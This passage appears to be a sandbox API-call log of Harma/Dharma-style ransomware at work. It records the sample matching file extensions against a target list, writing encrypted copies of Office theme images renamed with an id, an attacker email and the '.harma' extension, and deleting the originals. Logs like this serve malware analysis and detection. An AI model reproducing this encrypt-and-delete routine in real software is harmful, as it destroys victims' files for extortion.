Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0058.037] lstrlenW (lpString=".dbf") returned 4 [0058.037] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0058.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0058.037] lstrlenW (lpString=".1cd") returned 4 [0058.037] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0058.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0058.037] lstrlenW (lpString=".jpg") returned 4 [0058.037] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0058.037] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0058.037] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0058.037] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0058.038] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1347) returned 1 [0058.038] CloseHandle (hObject=0x1fc) returned 1 [0058.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20 [0058.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0058.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0058.038] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.038] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0059.483] GetLastError () returned 0x0 [0059.483] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x543, lpOverlapped=0x0) returned 1 [0059.692] WriteFile (in: hFile=0x15c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x550, lpOverlapped=0x0) returned 1 [0059.693] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0059.693] WriteFile (in: hFile=0x15c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xea, lpOverlapped=0x0) returned 1 [0059.694] SetEndOfFile (hFile=0x15c) returned 1 [0059.694] CloseHandle (hObject=0x15c) returned 1 [0059.694] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.694] SetEndOfFile (hFile=0x1fc) returned 1 [0059.695] CloseHandle (hObject=0x1fc) returned 1 [0059.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0059.695] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 1 [0059.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0059.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0059.696] lstrlenW (lpString=".doc") returned 4 [0059.696] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.696] lstrlenW (lpString=".docx") returned 5 [0059.696] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0059.696] lstrlenW (lpString=".pdf") returned 4 [0059.696] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.696] lstrlenW (lpString=".xls") returned 4 [0059.696] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.696] lstrlenW (lpString=".xlsx") returned 5 [0059.696] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0059.696] lstrlenW (lpString=".ppt") returned 4 [0059.696] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0059.696] lstrlenW (lpString=".zip") returned 4 [0059.697] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.697] lstrlenW (lpString=".rar") returned 4 [0059.697] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.697] lstrlenW (lpString=".bz2") returned 4 [0059.697] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.697] lstrlenW (lpString=".7z") returned 3 [0059.697] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0059.697] lstrlenW (lpString=".dbf") returned 4 [0059.697] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0059.697] lstrlenW (lpString=".1cd") returned 4 [0059.697] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0059.697] lstrlenW (lpString=".jpg") returned 4 [0059.697] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0059.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0059.698] lstrlenW (lpString=".doc") returned 4 [0059.698] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.698] lstrlenW (lpString=".docx") returned 5 [0059.698] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0059.698] lstrlenW (lpString=".pdf") returned 4 [0059.698] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.698] lstrlenW (lpString=".xls") returned 4 [0059.698] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.698] lstrlenW (lpString=".xlsx") returned 5 [0059.698] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0059.698] lstrlenW (lpString=".ppt") returned 4 [0059.698] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0059.698] lstrlenW (lpString=".zip") returned 4 [0059.698] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.698] lstrlenW (lpString=".rar") returned 4 [0059.698] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.698] lstrlenW (lpString=".bz2") returned 4 [0059.698] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.698] lstrlenW (lpString=".7z") returned 3 [0059.698] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0059.698] lstrlenW (lpString=".dbf") returned 4 [0059.698] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0059.698] lstrlenW (lpString=".1cd") returned 4 [0059.698] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0059.699] lstrlenW (lpString=".jpg") returned 4 [0059.699] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.699] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0059.699] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0059.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0059.700] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1659) returned 1 [0059.700] CloseHandle (hObject=0x1fc) returned 1 [0059.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 0x20 [0059.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0059.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0059.700] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.700] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0059.932] GetLastError () returned 0x0 [0059.932] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x67b, lpOverlapped=0x0) returned 1 [0059.934] WriteFile (in: hFile=0x1f8, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x680, lpOverlapped=0x0) returned 1 [0059.936] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0059.936] WriteFile (in: hFile=0x1f8, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xea, lpOverlapped=0x0) returned 1 [0059.936] SetEndOfFile (hFile=0x1f8) returned 1 [0059.936] CloseHandle (hObject=0x1f8) returned 1 [0059.936] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.936] SetEndOfFile (hFile=0x1fc) returned 1 [0059.938] CloseHandle (hObject=0x1fc) returned 1 [0059.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0059.938] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 1 [0059.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0059.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0059.938] lstrlenW (lpString=".doc") returned 4 [0059.938] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.938] lstrlenW (lpString=".docx") returned 5 [0059.938] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0059.938] lstrlenW (lpString=".pdf") returned 4 [0059.938] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.939] lstrlenW (lpString=".xls") returned 4 [0059.939] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.939] lstrlenW (lpString=".xlsx") returned 5 [0059.939] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0059.939] lstrlenW (lpString=".ppt") returned 4 [0059.939] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0059.939] lstrlenW (lpString=".zip") returned 4 [0059.939] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.939] lstrlenW (lpString=".rar") returned 4 [0059.939] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.939] lstrlenW (lpString=".bz2") returned 4 [0059.939] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.939] lstrlenW (lpString=".7z") returned 3 [0059.939] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0059.939] lstrlenW (lpString=".dbf") returned 4 [0059.939] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0059.939] lstrlenW (lpString=".1cd") returned 4 [0059.939] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0059.939] lstrlenW (lpString=".jpg") returned 4 [0059.939] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0059.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0059.940] lstrlenW (lpString=".doc") returned 4 [0059.940] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.940] lstrlenW (lpString=".docx") returned 5 [0059.940] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0059.940] lstrlenW (lpString=".pdf") returned 4 [0059.940] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.940] lstrlenW (lpString=".xls") returned 4 [0059.940] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.940] lstrlenW (lpString=".xlsx") returned 5 [0059.940] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0059.940] lstrlenW (lpString=".ppt") returned 4 [0059.940] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0059.940] lstrlenW (lpString=".zip") returned 4 [0059.940] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.940] lstrlenW (lpString=".rar") returned 4 [0059.940] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.940] lstrlenW (lpString=".bz2") returned 4 [0059.940] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.940] lstrlenW (lpString=".7z") returned 3 [0059.940] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0059.940] lstrlenW (lpString=".dbf") returned 4 [0059.941] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0059.941] lstrlenW (lpString=".1cd") returned 4 [0059.941] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0059.941] lstrlenW (lpString=".jpg") returned 4 [0059.941] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.941] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0059.941] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0059.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0059.942] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2574) returned 1 [0059.942] CloseHandle (hObject=0x1fc) returned 1 [0059.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20 [0059.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0059.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0059.942] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.942] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0059.944] GetLastError () returned 0x0 [0059.944] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0xa0e, lpOverlapped=0x0) returned 1 [0059.946] WriteFile (in: hFile=0x15c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xa10, lpOverlapped=0x0) returned 1 [0059.948] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0059.948] WriteFile (in: hFile=0x15c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xea, lpOverlapped=0x0) returned 1 [0059.948] SetEndOfFile (hFile=0x15c) returned 1 [0059.948] CloseHandle (hObject=0x15c) returned 1 [0059.948] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.948] SetEndOfFile (hFile=0x1fc) returned 1 [0059.949] CloseHandle (hObject=0x1fc) returned 1 [0059.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0059.950] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 1 [0059.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0059.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0059.950] lstrlenW (lpString=".doc") returned 4 [0059.950] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.950] lstrlenW (lpString=".docx") returned 5 [0059.950] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0059.950] lstrlenW (lpString=".pdf") returned 4 [0059.950] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.950] lstrlenW (lpString=".xls") returned 4 [0059.950] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.950] lstrlenW (lpString=".xlsx") returned 5 [0059.950] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0059.950] lstrlenW (lpString=".ppt") returned 4 [0059.950] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0059.950] lstrlenW (lpString=".zip") returned 4 [0059.950] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.950] lstrlenW (lpString=".rar") returned 4 [0059.951] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.951] lstrlenW (lpString=".bz2") returned 4 [0059.951] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.951] lstrlenW (lpString=".7z") returned 3 [0059.951] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0059.951] lstrlenW (lpString=".dbf") returned 4 [0059.951] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0059.951] lstrlenW (lpString=".1cd") returned 4 [0059.951] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0059.951] lstrlenW (lpString=".jpg") returned 4 [0059.951] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0059.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0059.951] lstrlenW (lpString=".doc") returned 4 [0059.951] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.951] lstrlenW (lpString=".docx") returned 5 [0059.951] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0059.951] lstrlenW (lpString=".pdf") returned 4 [0059.951] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.951] lstrlenW (lpString=".xls") returned 4 [0059.951] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.952] lstrlenW (lpString=".xlsx") returned 5 [0059.952] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0059.952] lstrlenW (lpString=".ppt") returned 4 [0059.952] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0059.952] lstrlenW (lpString=".zip") returned 4 [0059.952] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.952] lstrlenW (lpString=".rar") returned 4 [0059.952] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.952] lstrlenW (lpString=".bz2") returned 4 [0059.952] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.952] lstrlenW (lpString=".7z") returned 3 [0059.952] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.952] lstrlenW (lpString="C:\\Program 